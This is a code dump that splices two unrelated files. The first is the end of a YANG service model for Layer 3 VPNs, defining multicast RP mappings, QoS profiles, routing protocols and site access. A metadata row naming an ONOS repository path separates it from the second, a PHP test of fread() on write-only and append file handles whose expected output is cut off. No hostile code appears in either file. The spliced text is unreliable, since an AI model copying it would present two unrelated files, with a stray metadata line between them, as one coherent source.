"Group address";
}
}
description
"Choice for group format.";
}
description
"Definition of groups for
RP to group mapping.";
}
grouping vpn-service-multicast {
container multicast {
if-feature multicast;
leaf enabled {
type boolean;
default false;
description
"Enable multicast.";
}
container customer-tree-flavors {
list tree-flavor {
key type;
leaf type {
type identityref {
base multicast-tree-type;
}
description
"Type of tree to be used.";
}
description
"List of tree flavors.";
}
description
"Type of trees used by customer.";
}
container rp {
container rp-group-mappings {
list rp-group-mapping {
key "id";
leaf id {
type uint16;
description
"Unique identifier for the mapping.";
}
container provider-managed {
leaf enabled {
type boolean;
default false;
description
"Set to true, if the RP must be a
provider
managed node.
Set to false, if it is a customer
managed node.";
}
leaf rp-redundancy {
when "../enabled = 'true'" {
description
"Relevant when RP
is provider managed.";
}
type boolean;
default false;
description
"If true, redundancy
mechanism for RP is required.";
}
leaf optimal-traffic-delivery {
when "../enabled = 'true'" {
description
"Relevant when RP
is provider managed.";
}
type boolean;
default false;
description
"If true, SP must ensure
that traffic uses an optimal path.";
}
description
"Parameters for provider managed RP.";
}
leaf rp-address {
when "../provider-managed/enabled='false'" {
description
"Relevant when RP
is provider managed.";
}
type inet:ip-address;
description
"Defines the address of the
RendezvousPoint.
Used if RP is customer managed.";
}
container groups {
list group {
key id;
leaf id {
type uint16;
description
"Identifier for the group.";
}
uses multicast-rp-group-cfg;
description
"List of groups.";
}
description
"Multicast groups associated with RP.";
}
description
"List of RP to group mappings.";
}
description
"RP to group mappings.";
}
container rp-discovery {
leaf rp-discovery-type {
type identityref {
base multicast-rp-discovery-type;
}
default static-rp;
description
"Type of RP discovery used.";
}
container bsr-candidates {
when "../rp-discovery-type='bsr-rp'" {
description
"Only applicable if discovery type
is BSR-RP";
}
list bsr-candidate {
key address;
leaf address {
type inet:ip-address;
description
"Address of BSR candidate";
}
description
"List of customer BSR candidates";
}
description
"Customer BSR candidates address";
}
description
"RP discovery parameters";
}
description
"RendezvousPoint parameters.";
}
description
"Multicast global parameters for the VPN service.";
}
description
"grouping for multicast vpn definition";
}
grouping vpn-service-mpls {
leaf carrierscarrier {
if-feature carrierscarrier;
type boolean;
default false;
description
"The VPN is using Carrier's Carrier,
and so MPLS is required.";
}
description
"grouping for mpls CsC definition";
}
grouping customer-location-info {
container location {
leaf address {
type string;
description
"Address (number and street)
of the site.";
}
leaf zip-code {
type string;
description
"ZIP code of the site.";
}
leaf state {
type string;
description
"State of the site.
This leaf can also be used
to describe a region
for country who does not have
states.
";
}
leaf city {
type string;
description
"City of the site.";
}
leaf country-code {
type string;
description
"Country of the site.";
}
description
"Location of the site.";
}
description
"This grouping defines customer location
parameters";
}
grouping site-diversity {
container site-diversity {
if-feature site-diversity;
container groups {
list group {
key group-id;
leaf group-id {
type string;
description
"Group-id the site
is belonging to";
}
description
"List of group-id";
}
description
"Groups the site
is belonging to.
All site network accesses will
inherit those group values.";
}
description
"Diversity constraint type.";
}
description
"This grouping defines site diversity
parameters";
}
grouping access-diversity {
container access-diversity {
if-feature site-diversity;
container groups {
list group {
key group-id;
leaf group-id {
type string;
description
"Group-id the site network access
is belonging to";
}
description
"List of group-id";
}
description
"Groups the site network access
is belonging to";
}
container constraints {
list constraint {
key constraint-type;
leaf constraint-type {
type identityref {
base placement-diversity;
}
description
"Diversity constraint type.";
}
container target {
choice target-flavor {
case id {
list group {
key group-id;
leaf group-id {
type string;
description
"The constraint will apply
against this particular
group-id";
}
description
"List of groups";
}
}
case all-accesses {
leaf all-other-accesses {
type empty;
description
"The constraint will apply
against all other site network
access
of this site";
}
}
case all-groups {
leaf all-other-groups {
type empty;
description
"The constraint will apply
against all other groups the
customer
is managing";
}
}
description
"Choice for the group definition";
}
description
"The constraint will apply against
this list of groups";
}
description
"List of constraints";
}
description
"Constraints for placing this site
network access";
}
description
"Diversity parameters.";
}
description
"This grouping defines access diversity
parameters";
}
grouping operational-requirements {
leaf requested-site-start {
type yang:date-and-time;
description
"Optional leaf indicating requested date
and time
when the service at a particular site is
expected
to start";
}
leaf requested-site-stop {
type yang:date-and-time;
description
"Optional leaf indicating requested date
and time
when the service at a particular site is
expected
to stop";
}
description
"This grouping defines some operational parameters
parameters";
}
grouping operational-requirements-ops {
leaf actual-site-start {
type yang:date-and-time;
config false;
description
"Optional leaf indicating actual date
and time
when the service at a particular site
actually
started";
}
leaf actual-site-stop {
type yang:date-and-time;
config false;
description
"Optional leaf indicating actual date
and time
when the service at a particular site
actually
stopped";
}
description
"This grouping defines some operational parameters
parameters";
}
grouping flow-definition {
container match-flow {
leaf dscp {
type uint8 {
range "0 .. 63";
}
description
"DSCP value.";
}
leaf tos {
type uint8 {
range "0 .. 254";
}
description
"TOS value.";
}
leaf dot1p {
type uint8 {
range "0 .. 7";
}
description
"802.1p matching.";
}
leaf ipv4-src-prefix {
type inet:ipv4-prefix;
description
"Match on IPv4 src address.";
}
leaf ipv6-src-prefix {
type inet:ipv6-prefix;
description
"Match on IPv6 src address.";
}
leaf ipv4-dst-prefix {
type inet:ipv4-prefix;
description
"Match on IPv4 dst address.";
}
leaf ipv6-dst-prefix {
type inet:ipv6-prefix;
description
"Match on IPv6 dst address.";
}
leaf l4-src-port {
type uint16;
description
"Match on layer 4 src port.";
}
leaf l4-dst-port {
type uint16;
description
"Match on layer 4 dst port.";
}
leaf protocol-field {
type union {
type uint8;
type identityref {
base protocol-type;
}
}
description
"Match on IPv4 protocol or
Ipv6 Next Header
field.";
}
description
"Describe flow matching
criterions.";
}
description
"Flow definition based on criteria.";
}
grouping site-service-basic {
leaf svc-input-bandwidth {
type uint32;
units bps;
description
"From the PE perspective, the service input
bandwidth of the connection.";
}
leaf svc-output-bandwidth {
type uint32;
units bps;
description
"From the PE perspective, the service output
bandwidth of the connection.";
}
leaf svc-mtu {
type uint16;
units bytes;
description
"MTU at service level.
If the service is IP,
it refers to the IP MTU.";
}
description
"Defines basic service parameters for a site.";
}
grouping site-protection {
container traffic-protection {
if-feature fast-reroute;
leaf enabled {
type boolean;
description
"Enables
traffic protection of access link.";
}
description
"Fast reroute service parameters
for the site.";
}
description
"Defines protection service parameters for a site.";
}
grouping site-service-mpls {
container carrierscarrier {
if-feature carrierscarrier;
leaf signalling-type {
type enumeration {
enum "ldp" {
description
"Use LDP as signalling
protocol between PE and CE.";
}
enum "bgp" {
description
"Use BGP 3107 as signalling
protocol between PE and CE.
In this case, bgp must be also
configured
as routing-protocol.
";
}
}
description
"MPLS signalling type.";
}
description
"This container is used when customer provides
MPLS based services.
This is used in case of Carrier's
Carrier.";
}
description
"Defines MPLS service parameters for a site.";
}
grouping site-service-qos-profile {
container qos {
if-feature qos;
container qos-classification-policy {
list rule {
key id;
ordered-by user;
leaf id {
type uint16;
description
"ID of the rule.";
}
choice match-type {
case match-flow {
uses flow-definition;
}
case match-application {
leaf match-application {
type identityref {
base customer-application;
}
description
"Defines the application
to match.";
}
}
description
"Choice for classification";
}
leaf target-class-id {
type string;
description
"Identification of the
class of service.
This identifier is internal to
the administration.";
}
description
"List of marking rules.";
}
description
"Need to express marking rules ...";
}
container qos-profile {
choice qos-profile {
description
"Choice for QoS profile.
Can be standard profile or custom.";
case standard {
leaf profile {
type string;
description
"QoS profile to be used";
}
}
case custom {
container classes {
if-feature qos-custom;
list class {
key class-id;
leaf class-id {
type string;
description
"Identification of the
class of service.
This identifier is internal to
the administration.";
}
leaf rate-limit {
type uint8;
units percent;
description
"To be used if class must
be rate
limited. Expressed as
percentage of the svc-bw.";
}
leaf priority-level {
type uint8;
description
"Defines the level of the
class in
term of priority queueing.
The higher the level is the
higher
is the priority.";
}
leaf guaranteed-bw-percent {
type uint8;
units percent;
description
"To be used to define the
guaranteed
BW in percent of the svc-bw
available at the priority-level.";
}
description
"List of class of services.";
}
description
"Container for
list of class of services.";
}
}
}
description
"Qos profile configuration.";
}
description
"QoS configuration.";
}
description
"This grouping defines QoS parameters
for a site";
}
grouping site-security-authentication {
container authentication {
description
"Authentication parameters";
}
description
"This grouping defines authentication
parameters
for a site";
}
grouping site-security-encryption {
container encryption {
if-feature encryption;
leaf enabled {
type boolean;
description
"If true, access encryption is required.";
}
leaf layer {
type enumeration {
enum layer2 {
description
"Encryption will occur at layer2.";
}
enum layer3 {
description
"IPSec is requested.";
}
}
description
"Layer on which encryption is applied.";
}
container encryption-profile {
choice profile {
case provider-profile {
leaf profile-name {
type string;
description
"Name of the SP profile
to be applied.";
}
}
case customer-profile {
leaf algorithm {
type string;
description
"Encryption algorithm to
be used.";
}
choice key-type {
case psk {
leaf preshared-key {
type string;
description
"Key coming from
customer.";
}
}
case pki {
}
description
"Type of keys to be used.";
}
}
description
"Choice of profile.";
}
description
"Profile of encryption to be applied.";
}
description
"Encryption parameters.";
}
description
"This grouping defines encryption parameters
for a site";
}
grouping site-attachment-bearer {
container bearer {
container requested-type {
if-feature requested-type;
leaf requested-type {
type string;
description
"Type of requested bearer Ethernet, DSL,
Wireless ...
Operator specific.";
}
leaf strict {
type boolean;
default false;
description
"define if the requested-type is a preference
or a strict requirement.";
}
description
"Container for requested type.";
}
leaf always-on {
if-feature always-on;
type boolean;
default true;
description
"Request for an always on access type.
This means no Dial access type for
example.";
}
leaf bearer-reference {
if-feature bearer-reference;
type string;
description
"This is an internal reference for the
service provider.
Used ";
}
description
"Bearer specific parameters.
To be augmented.";
}
description
"Defines physical properties of
a site attachment.";
}
grouping site-routing {
container routing-protocols {
list routing-protocol {
key type;
leaf type {
type identityref {
base routing-protocol-type;
}
description
"Type of routing protocol.";
}
container ospf {
when "../type = 'ospf'" {
description
"Only applies
when protocol is OSPF.";
}
if-feature rtg-ospf;
leaf-list address-family {
type identityref {
base address-family;
}
description
"Address family to be activated.";
}
leaf area-address {
type yang:dotted-quad;
description
"Area address.";
}
leaf metric {
type uint16;
description
"Metric of PE-CE link.";
}
container sham-links {
if-feature rtg-ospf-sham-link;
list sham-link {
key target-site;
leaf target-site {
type svc-id;
description
"Target site for the sham link
connection.
The site is referred through it's ID.";
}
leaf metric {
type uint16;
description
"Metric of the sham link.";
}
description
"Creates a shamlink with another
site";
}
description
"List of Sham links";
}
description
"OSPF specific configuration.";
}
container bgp {
when "../type = 'bgp'" {
description
"Only applies when
protocol is BGP.";
}
if-feature rtg-bgp;
leaf autonomous-system {
type uint32;
description
"AS number.";
}
leaf-list address-family {
type identityref {
base address-family;
}
description
"Address family to be activated.";
}
description
"BGP specific configuration.";
}
container static {
when "../type = 'static'" {
description
"Only applies when protocol
is static.";
}
container cascaded-lan-prefixes {
list ipv4-lan-prefixes {
if-feature ipv4;
key "lan next-hop";
leaf lan {
type inet:ipv4-prefix;
description
"Lan prefixes.";
}
leaf lan-tag {
type string;
description
"Internal tag to be used in vpn
policies.";
}
leaf next-hop {
type inet:ipv4-address;
description
"Nexthop address to use at customer
side.";
}
description "
List of LAN prefixes for
the site.
";
}
list ipv6-lan-prefixes {
if-feature ipv6;
key "lan next-hop";
leaf lan {
type inet:ipv6-prefix;
description
"Lan prefixes.";
}
leaf lan-tag {
type string;
description
"Internal tag to be used
in vpn policies.";
}
leaf next-hop {
type inet:ipv6-address;
description
"Nexthop address to use at
customer side.";
}
description "
List of LAN prefixes for the site.
";
}
description
"LAN prefixes from the customer.";
}
description
"Static routing
specific configuration.";
}
container rip {
when "../type = 'rip'" {
description
"Only applies when
protocol is RIP.";
}
if-feature rtg-rip;
leaf-list address-family {
type identityref {
base address-family;
}
description
"Address family to be
activated.";
}
description
"RIP routing specific
configuration.";
}
container vrrp {
when "../type = 'vrrp'" {
description
"Only applies when
protocol is VRRP.";
}
if-feature rtg-vrrp;
leaf-list address-family {
type identityref {
base address-family;
}
description
"Address family to be activated.";
}
description
"VRRP routing specific configuration.";
}
description
"List of routing protocols used
on the site.
Need to be augmented.";
}
description
"Defines routing protocols.";
}
description
"Grouping for routing protocols.";
}
grouping site-attachment-ip-connection {
container ip-connection {
container ipv4 {
if-feature ipv4;
leaf address-allocation-type {
type identityref {
base address-allocation-type;
}
default "static-address";
description
"Defines how addresses are allocated.
";
}
leaf number-of-dynamic-address {
when
"../address-allocation-type = 'pe-dhcp'"
{
description
"Only applies when
protocol allocation type is static";
}
type uint8;
default 1;
description
"Describes the number of IP addresses the
customer requires";
}
container addresses {
when
"../address-allocation-type = 'static-address'" {
description
"Only applies when
protocol allocation type is static";
}
leaf provider-address {
type inet:ipv4-address;
description
"Provider side address.";
}
leaf customer-address {
type inet:ipv4-address;
description
"Customer side address.";
}
leaf mask {
type uint8 {
range "0..32";
}
description
"Subnet mask expressed
in bits";
}
description
"Describes IP addresses used";
}
description
"IPv4 specific parameters";
}
container ipv6 {
if-feature ipv6;
leaf address-allocation-type {
type identityref {
base address-allocation-type;
}
default "static-address";
description
"Defines how addresses are allocated.
";
}
leaf number-of-dynamic-address {
when
"../address-allocation-type = 'pe-dhcp'" {
description
"Only applies when
protocol allocation type is static";
}
type uint8;
default 1;
description
"Describes the number of IP addresses the
customer requires";
}
container addresses {
when
"../address-allocation-type = 'static-address'" {
description
"Only applies when
protocol allocation type is static";
}
leaf provider-address {
type inet:ipv6-address;
description
"Provider side address.";
}
leaf customer-address {
type inet:ipv6-address;
description
"Customer side address.";
}
leaf mask {
type uint8 {
range "0..128";
}
description
"Subnet mask expressed
in bits";
}
description
"Describes IP addresses used";
}
description
"IPv6 specific parameters";
}
container oam {
container bfd {
if-feature bfd;
leaf bfd-enabled {
type boolean;
description
"BFD activation";
}
choice holdtime {
case profile {
leaf profile-name {
type string;
description
"Service provider well
known profile.";
}
description
"Service provider well
known profile.";
}
case fixed {
leaf fixed-value {
type uint32;
units msec;
description
"Expected holdtime
expressed
in msec.";
}
}
description
"Choice for holdtime flavor.";
}
description
"Container for BFD.";
}
description
"Define the OAM used on the connection.";
}
description
"Defines connection parameters.";
}
description
"This grouping defines IP connection parameters.";
}
grouping site-service-multicast {
container multicast {
if-feature multicast;
leaf multicast-site-type {
type enumeration {
enum receiver-only {
description
"The site has only receivers.";
}
enum source-only {
description
"The site has only sources.";
}
enum source-receiver {
description
"The site has both
sources & receivers.";
}
}
default "source-receiver";
description
"Type of multicast site.";
}
container multicast-transport-protocol {
leaf ipv4 {
if-feature ipv4;
type boolean;
default true;
description
"Enables ipv4 multicast transport";
}
leaf ipv6 {
if-feature ipv6;
type boolean;
default false;
description
"Enables ipv6 multicast transport";
}
description
"Defines protocol to transport multicast.";
}
leaf protocol-type {
type enumeration {
enum host {
description
"
Hosts are directly connected
to the provider network.
Host protocols like IGMP, MLD
are required.
";
}
enum router {
description
"
Hosts are behind a customer router.
PIM will be implemented.
";
}
enum both {
description
"Some Hosts are behind a customer
router and some others are directly
connected to the provider network.
Both host and routing protocols must be
used. Typically IGMP and PIM will be
implemented.
";
}
}
default "both";
description
"Multicast protocol type to be used
with the customer site.";
}
description
"Multicast parameters for the site.";
}
description
"Multicast parameters for the site.";
}
grouping site-management {
container management {
leaf type {
type identityref {
base management;
}
description
"Management type of the connection.";
}
leaf management-transport {
type identityref {
base address-family;
}
description
"Transport protocol used for management.";
}
leaf address {
type inet:ip-address;
description
"Management address";
}
description
"Management configuration";
}
description
"Management parameters for the site.";
}
grouping site-vpn-flavor-profile {
leaf site-vpn-flavor {
type identityref {
base site-vpn-flavor;
}
default site-vpn-flavor-single;
description
"Defines if the site
is a single VPN site, or multiVPN or ...";
}
description
"Grouping for site-vpn-flavor.";
}
grouping site-vpn-policy {
container vpn-policy-list {
list vpn-policy {
key vpn-policy-id;
leaf vpn-policy-id {
type svc-id;
description
"Unique identifier for
the VPN policy.";
}
list entries {
key id;
leaf id {
type svc-id;
description
"Unique identifier for
the policy entry.";
}
container filter {
choice lan {
case lan-prefix {
container lan-prefixes {
list ipv4-lan-prefixes {
if-feature ipv4;
key lan;
leaf lan {
type inet:ipv4-prefix;
description
"Lan prefixes.";
}
description "
List of LAN prefixes
for the site.
";
}
list ipv6-lan-prefixes {
if-feature ipv6;
key lan;
leaf lan {
type inet:ipv6-prefix;
description
"Lan prefixes.";
}
description "
List of LAN prefixes
for the site.
";
}
description
"LAN prefixes from the customer.";
}
}
case lan-tag {
leaf-list lan-tag {
type string;
description
"List of lan-tags to be matched.";
}
}
description
"Choice for LAN matching type";
}
description
"If used, it permit to split site LANs
among multiple VPNs.
If no filter used, all the LANs will be
part of the same VPNs with the same
role.";
}
container vpn {
leaf vpn-id {
type leafref {
path "/l3vpn-svc/vpn-services/vpn-svc/vpn-id";
}
mandatory true;
description
"Reference to an IPVPN.";
}
leaf site-role {
type identityref {
base site-role;
}
mandatory true;
description
"Role of the site in the IPVPN.";
}
description
"List of VPNs the LAN is associated to.";
}
description
"List of entries for export policy.";
}
description
"List of VPN policies.";
}
description
"VPN policy.";
}
description
"VPN policy parameters for the site.";
}
grouping site-maximum-routes {
container maximum-routes {
list address-family {
key af;
leaf af {
type identityref {
base address-family;
}
description
"Address-family.";
}
leaf maximum-routes {
type uint32;
description
"Maximum prefixes the VRF can
accept for this
address-family.";
}
description
"List of address families.";
}
description
"Define maximum-routes for the VRF.";
}
description
"Define maximum-routes for the site.";
}
grouping site-security {
container security {
uses site-security-authentication;
uses site-security-encryption;
description
"Site specific security parameters.";
}
description
"Grouping for security parameters.";
}
grouping site-service {
container service {
uses site-service-basic;
uses site-service-qos-profile;
uses site-service-mpls;
uses site-service-multicast;
description
"Service parameters on the attachement.";
}
description
"Grouping for service parameters.";
}
grouping transport-constraint-profile {
list constraint-list {
key constraint-type;
leaf constraint-type {
type identityref {
base transport-constraint;
}
description
"Constraint type to be applied.";
}
leaf constraint-opaque-value {
type string;
description
"Opaque value that can be used to
specify constraint parameters.";
}
description
"List of constraints";
}
description
"Grouping for transport constraint.";
}
grouping transport-constraints {
container transport-constraints {
if-feature traffic-engineering;
container unicast-transport-constraints {
list constraint {
key constraint-id;
leaf constraint-id {
type svc-id;
description
"Defines an ID for the constraint
rule.";
}
leaf site1 {
type svc-id;
description
"The ID refers to one site end.";
}
leaf site2 {
type svc-id;
description
"The ID refers to the other
site end.";
}
uses transport-constraint-profile;
description
"List of constraints.
Constraints are bidirectional.";
}
description
"Unicast transport constraints.";
}
container multicast-transport-constraints {
if-feature traffic-engineering-multicast;
list constraint {
key constraint-id;
leaf constraint-id {
type svc-id;
description
"Defines an ID for the constraint
rule.";
}
leaf src-site {
type svc-id;
description
"The ID refers to source site.";
}
leaf dst-site {
type svc-id;
description
"The ID refers to the receiver
site.";
}
uses transport-constraint-profile;
description
"List of constraints.
Constraints are unidirectional.";
}
description
"Multicast transport constraints.";
}
description
"transport constraints.";
}
description
"Grouping for transport constraints
description.";
}
grouping vpn-extranet {
container extranet-vpns {
if-feature extranet-vpn;
list extranet-vpn {
key vpn-id;
leaf vpn-id {
type svc-id;
description
"Identifies the target VPN";
}
leaf local-sites-role {
type identityref {
base site-role;
}
description
"This describes the role of the
local sites in the target VPN topology.";
}
description
"List of extranet VPNs the local
VPN is attached to.";
}
description
"Container for extranet vpn cfg.";
}
description
"grouping for extranet VPN configuration.
Extranet provides a way to interconnect all sites
from two VPNs in a easy way.";
}
grouping site-attachment-availability {
container availability {
leaf access-priority {
type uint32;
default 1;
description
"Defines the priority for the access.
The highest the priority value is,
the highest the
preference of the access is.";
}
description
"Availability parameters
(used for multihoming)";
}
description
"Defines site availability parameters.";
}
grouping access-vpn-policy {
container vpn-attachment {
choice attachment-flavor {
case vpn-policy-id {
leaf vpn-policy-id {
type leafref {
path "/l3vpn-svc/sites/site/"+
"vpn-policy-list/vpn-policy/"+
"vpn-policy-id";
}
description
"Reference to a VPN policy.";
}
}
case vpn-id {
leaf vpn-id {
type leafref {
path "/l3vpn-svc/vpn-services"+
"/vpn-svc/vpn-id";
}
description
"Reference to a VPN.";
}
leaf site-role {
type identityref {
base site-role;
}
mandatory true;
description
"Role of the site in the IPVPN.";
}
}
mandatory true;
description
"Choice for VPN attachment flavor.";
}
description
"Defines VPN attachment of a site.";
}
description
"Defines the VPN attachment rules
for a site logical access.";
}
grouping vpn-svc-cfg {
leaf vpn-id {
type svc-id;
description
"VPN identifier. Local administration meaning.";
}
leaf customer-name {
type string;
description
"Name of the customer.";
}
leaf topology {
type identityref {
base vpn-topology;
}
default "any-to-any";
description
"VPN topology.";
}
uses vpn-service-cloud-access;
uses vpn-service-multicast;
uses vpn-service-mpls;
uses transport-constraints;
uses vpn-extranet;
description
"grouping for vpn-svc configuration.";
}
grouping site-top-level-cfg {
uses operational-requirements;
uses customer-location-info;
uses site-diversity;
uses site-management;
uses site-vpn-policy;
uses site-vpn-flavor-profile;
uses site-maximum-routes;
uses site-security;
uses site-service;
uses site-protection;
uses site-routing;
description
"Grouping for site top level cfg.";
}
grouping site-network-access-top-level-cfg {
leaf site-network-access-type {
type identityref {
base site-network-access-type;
}
default "point-to-point";
description
"Describes the type of connection, e.g. :
point-to-point or multipoint";
}
uses access-diversity;
uses site-attachment-bearer;
uses site-attachment-ip-connection;
uses site-security;
uses site-service;
uses site-routing;
uses site-attachment-availability;
uses access-vpn-policy;
description
"Grouping for site network access
top level cfg.";
}
/* Main blocks */
container l3vpn-svc {
container vpn-services {
list vpn-svc {
key vpn-id;
uses vpn-svc-cfg;
description "
List of VPN services.
";
}
description
"top level container
for the VPN services.";
}
container sites {
list site {
key site-id;
leaf site-id {
type svc-id;
description
"Identifier of the site.";
}
uses site-top-level-cfg;
uses operational-requirements-ops;
container site-network-accesses {
list site-network-access {
key site-network-access-id;
leaf site-network-access-id {
type svc-id;
description
"Identifier for the access";
}
uses site-network-access-top-level-cfg;
description
"List of accesses for a site.";
}
description
"List of accesses for a site.";
}
description "List of sites.";
}
description
"Container for sites";
}
description
"Main container for L3VPN service configuration.";
}
} | YANG | 5 | Shinkirou/onos | tools/test/configs/yang/ietf-l3vpn-svc@2016-07-30.yang | [
"Apache-2.0"
] |
--TEST--
Test fread() function : usage variations - read beyond file size, write only mode
--FILE--
<?php
// include the file.inc for common functions for test
include ("file.inc");
/* Function : function check_read(resource $file_handle, int $read_size, int $expect_size)
Description : Read data from file of size $read_size and verifies that $expected_size no. of
bytes are read.
$file_handle : File Handle
$read_size : No. of bytes to be read.
$expect_size : Expected data length
Returns: returns the data read
*/
function check_read($file_handle, $read_size, $expect_size) {
// print file pointer position before read
var_dump( ftell($file_handle) );
var_dump( feof($file_handle) );
// read the data of size $read_size
echo "Reading $read_size bytes from file, expecting $expect_size bytes ... ";
$data_from_file = fread($file_handle, $read_size);
// check if data read is of expected size
if ( strlen($data_from_file) == $expect_size)
echo "OK\n";
else
echo "Error reading file, total number of bytes read = ".strlen($data_from_file)."\n";
// file pointer position after read
var_dump( ftell($file_handle) );
// check if file pointer at eof()
var_dump( feof($file_handle) );
return $data_from_file;
}
echo "*** Testing fread() : usage variations ***\n";
$file_modes = array("a","ab","at",
"w","wb","wt",
"x","xb","xt" );
$file_content_types = array("numeric","text","text_with_new_line");
foreach($file_content_types as $file_content_type) {
echo "\n-- Testing fread() with file having content of type ". $file_content_type ." --\n";
/* open the file using $files_modes and perform fread() on it */
foreach($file_modes as $file_mode) {
if(!strstr($file_mode,"x")){
/* create files with $file_content_type */
create_files ( __DIR__, 1, $file_content_type, 0755, 1, "w", "fread_variation", 4);
}
$filename = __DIR__."/fread_variation4.tmp"; // this is name of the file created by create_files()
echo "-- File opened in mode ".$file_mode." --\n";
$file_handle = fopen($filename, $file_mode);
if (!$file_handle) {
echo "Error: failed to fopen() file: $filename!";
exit();
}
if(strstr($file_mode,"w") || strstr($file_mode,"x") ) {
fill_file($file_handle, $file_content_type, 1024);
}
rewind($file_handle);
echo "-- Reading beyond filesize, expected : 1024 bytes --\n";
// read file by giving size more than its size
rewind($file_handle);
$data_from_file = check_read($file_handle, 1030, ( strstr($file_mode, "+") ? 1024 : 0) );
if ( $data_from_file != false)
var_dump( md5($data_from_file) );
echo "-- Reading beyond filesize when file pointer pointing to EOF, expected : 0 bytes --\n";
rewind($file_handle);
// try fread when file pointer at end
fseek($file_handle, 0, SEEK_END);
//reading file when file pointer at end
$data_from_file = check_read($file_handle, 10, 0);
if ( $data_from_file != false)
var_dump( md5($data_from_file) );
// now close the file
fclose($file_handle);
// delete the file created
delete_file($filename); // delete file
} // end of inner foreach loop
}// end of outer foreach loop
echo"Done\n";
?>
--EXPECTF--
*** Testing fread() : usage variations ***
-- Testing fread() with file having content of type numeric --
-- File opened in mode a --
-- Reading beyond filesize, expected : 1024 bytes --
int(0)
bool(false)
Reading 1030 bytes from file, expecting 0 bytes ...
Notice: fread(): Read of 8192 bytes failed with errno=9 Bad file descriptor in %s on line %d
OK
int(0)
bool(false)
-- Reading beyond filesize when file pointer pointing to EOF, expected : 0 bytes --
int(1024)
bool(false)
Reading 10 bytes from file, expecting 0 bytes ...
Notice: fread(): Read of 8192 bytes failed with errno=9 Bad file descriptor in %s on line %d
OK
int(1024)
bool(false)
-- File opened in mode ab --
-- Reading beyond filesize, expected : 1024 bytes --
int(0)
bool(false)
Reading 1030 bytes from file, expecting 0 bytes ...
Notice: fread(): Read of 8192 bytes failed with errno=9 Bad file descriptor in %s on line %d
OK
int(0)
bool(false)
-- Reading beyond filesize when file pointer pointing to EOF, expected : 0 bytes --
int(1024)
bool(false)
Reading 10 bytes from file, expecting 0 bytes ...
Notice: fread(): Read of 8192 bytes failed with errno=9 Bad file descriptor in %s on line %d
OK
int(1024)
bool(false)
-- File opened in mode at --
-- Reading beyond filesize, expected : 1024 bytes --
int(0)
bool(false)
Reading 1030 bytes from file, expecting 0 bytes ...
Notice: fread(): Read of 8192 bytes failed with errno=9 Bad file descriptor in %s on line %d
OK
int(0)
bool(false)
-- Reading beyond filesize when file pointer pointing to EOF, expected : 0 bytes --
int(1024)
bool(false)
Reading 10 bytes from file, expecting 0 bytes ...
Notice: fread(): Read of 8192 bytes failed with errno=9 Bad file descriptor in %s on line %d
OK
int(1024)
bool(false)
-- File opened in mode w --
-- Reading beyond filesize, expected : 1024 bytes --
int(0)
bool(false)
Reading 1030 bytes from file, expecting 0 bytes ...
Notice: fread(): Read of 8192 bytes failed with errno=9 Bad file descriptor in %s on line %d
OK
int(0)
bool(false)
-- Reading beyond filesize when file pointer pointing to EOF, expected : 0 bytes --
int(1024)
bool(false)
Reading 10 bytes from file, expecting 0 bytes ...
Notice: fread(): Read of 8192 bytes failed with errno=9 Bad file descriptor in %s on line %d
OK
int(1024)
bool(false)
-- File opened in mode wb --
-- Reading beyond filesize, expected : 1024 bytes --
int(0)
bool(false)
Reading 1030 bytes from file, expecting 0 bytes ...
Notice: fread(): Read of 8192 bytes failed with errno=9 Bad file descriptor in %s on line %d
OK
int(0)
bool(false)
-- Reading beyond filesize when file pointer pointing to EOF, expected : 0 bytes --
int(1024)
bool(false)
Reading 10 bytes from file, expecting 0 bytes ...
Notice: fread(): Read of 8192 bytes failed with errno=9 Bad file descriptor in %s on line %d
OK
int(1024)
bool(false)
-- File opened in mode wt --
-- Reading beyond filesize, expected : 1024 bytes --
int(0)
bool(false)
Reading 1030 bytes from file, expecting 0 bytes ...
Notice: fread(): Read of 8192 bytes failed with errno=9 Bad file descriptor in %s on line %d
OK
int(0)
bool(false)
-- Reading beyond filesize when file pointer pointing to EOF, expected : 0 bytes --
int(1024)
bool(false)
Reading 10 bytes from file, expecting 0 bytes ...
Notice: fread(): Read of 8192 bytes failed with errno=9 Bad file descriptor in %s on line %d
OK
int(1024)
bool(false)
-- File opened in mode x --
-- Reading beyond filesize, expected : 1024 bytes --
int(0)
bool(false)
Reading 1030 bytes from file, expecting 0 bytes ...
Notice: fread(): Read of 8192 bytes failed with errno=9 Bad file descriptor in %s on line %d
OK
int(0)
bool(false)
-- Reading beyond filesize when file pointer pointing to EOF, expected : 0 bytes --
int(1024)
bool(false)
Reading 10 bytes from file, expecting 0 bytes ...
Notice: fread(): Read of 8192 bytes failed with errno=9 Bad file descriptor in %s on line %d
OK
int(1024)
bool(false)
-- File opened in mode xb --
-- Reading beyond filesize, expected : 1024 bytes --
int(0)
bool(false)
Reading 1030 bytes from file, expecting 0 bytes ...
Notice: fread(): Read of 8192 bytes failed with errno=9 Bad file descriptor in %s on line %d
OK
int(0)
bool(false)
-- Reading beyond filesize when file pointer pointing to EOF, expected : 0 bytes --
int(1024)
bool(false)
Reading 10 bytes from file, expecting 0 bytes ...
Notice: fread(): Read of 8192 bytes failed with errno=9 Bad file descriptor in %s on line %d
OK
int(1024)
bool(false)
-- File opened in mode xt --
-- Reading beyond filesize, expected : 1024 bytes --
int(0)
bool(false)
Reading 1030 bytes from file, expecting 0 bytes ...
Notice: fread(): Read of 8192 bytes failed with errno=9 Bad file descriptor in %s on line %d
OK
int(0)
bool(false)
-- Reading beyond filesize when file pointer pointing to EOF, expected : 0 bytes --
int(1024)
bool(false)
Reading 10 bytes from file, expecting 0 bytes ...
Notice: fread(): Read of 8192 bytes failed with errno=9 Bad file descriptor in %s on line %d
OK
int(1024)
bool(false)
-- Testing fread() with file having content of type text --
-- File opened in mode a --
-- Reading beyond filesize, expected : 1024 bytes --
int(0)
bool(false)
Reading 1030 bytes from file, expecting 0 bytes ...
Notice: fread(): Read of 8192 bytes failed with errno=9 Bad file descriptor in %s on line %d
OK
int(0)
bool(false)
-- Reading beyond filesize when file pointer pointing to EOF, expected : 0 bytes --
int(1024)
bool(false)
Reading 10 bytes from file, expecting 0 bytes ...
Notice: fread(): Read of 8192 bytes failed with errno=9 Bad file descriptor in %s on line %d
OK
int(1024)
bool(false)
-- File opened in mode ab --
-- Reading beyond filesize, expected : 1024 bytes --
int(0)
bool(false)
Reading 1030 bytes from file, expecting 0 bytes ...
Notice: fread(): Read of 8192 bytes failed with errno=9 Bad file descriptor in %s on line %d
OK
int(0)
bool(false)
-- Reading beyond filesize when file pointer pointing to EOF, expected : 0 bytes --
